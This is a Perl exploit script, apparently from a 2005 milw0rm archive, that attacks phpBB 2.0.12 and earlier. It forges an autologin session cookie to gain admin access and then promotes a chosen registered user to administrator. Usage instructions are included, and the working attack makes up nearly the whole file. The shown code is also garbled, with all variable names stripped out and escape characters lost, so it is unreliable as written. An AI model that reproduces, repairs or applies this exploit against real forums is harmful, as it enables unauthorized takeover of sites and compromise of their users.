#!/usr/bin/perl -w
# phpBB <=2.0.12 session autologin exploit
# This script uses the vulerability in autologinid variable
# More:
phpBB • View topic - phpBB 2.0.13 released - Critical Update
#
# Just gives an user on vulnerable forum administrator rights.
# You should register the user before using this ;-)
# by Kutas,
kutas@mail15.com
#P.S. I dont know who had made an original exploit, so I cannot place no (c) here...
# but greets goes to Paisterist who made an exploit for Firefox cookies...
if (@ARGV < 3)
{
print q(
++++++++++++++++++++++++++++++++++++++++++++++++++ +
Usage: perl nenu.pl [site] [phpbb folder] [username] [proxy (optional)]
i.e. perl nenu.pl www.site.com /forum/ BigAdmin 127.0.0.1:3128
++++++++++++++++++++++++++++++++++++++++++++++++++ ++
);
exit;
}
use strict;
use LWP::UserAgent;
my = ;
my = ;
my = ;
my = ;
my = "https://";
.= ;
.= ;
use HTTP::Cookies;
my = LWP::UserAgent->new ();
my = HTTP::Cookies->new( );
( );
( "0","phpbb2mysql_data", "a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs %3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D", "/",,,,,,);
if ( defined ) {
=~ s/(https://)//eg;
("http" , "https://");
}
print "++++++++++++++++++++++++++++++++++++n";
print "Trying to connect to "; if () {print "using proxy ";}
my = ();
die "Error: ",
unless ;
if( =~ m/phpbbprivmsg/) {
print "n Forum is vulnerable!!!n";
} else {
print "Sorry... Not vulnerable"; exit();}
print "+++++++++++++++++++++++++++++nTrying to get the user: ID...n";
=~ /sid=([wd]*)/;
my = $1;
.= "admin/admin_ug_auth.php?mode=user&sid=";
= (
,
[
'username' => ,
'mode' => 'edit',
'mode' => 'user',
'submituser' => 'Look+up+User'
],
);
die "Error: ",
unless ;
if ( =~ /name="u" value="([d]*)"/)
{print " Done... ID=$1n++++++++++++++++++++++++++++++n";}
else {print "No user found..."; exit(); }
my = $1;
print "Trying to give user: admin status...n";
= (
,
[
'userlevel' => 'admin',
'mode' => 'user',
'adv'=>'',
'u'=> ,
'submit'=> 'Submit'
],
);
die "Error: ",
unless ;
print " Well done!!! should now have an admin status..n++++++++++++++++++++++++++++";
# milw0rm.com [2005-03-21]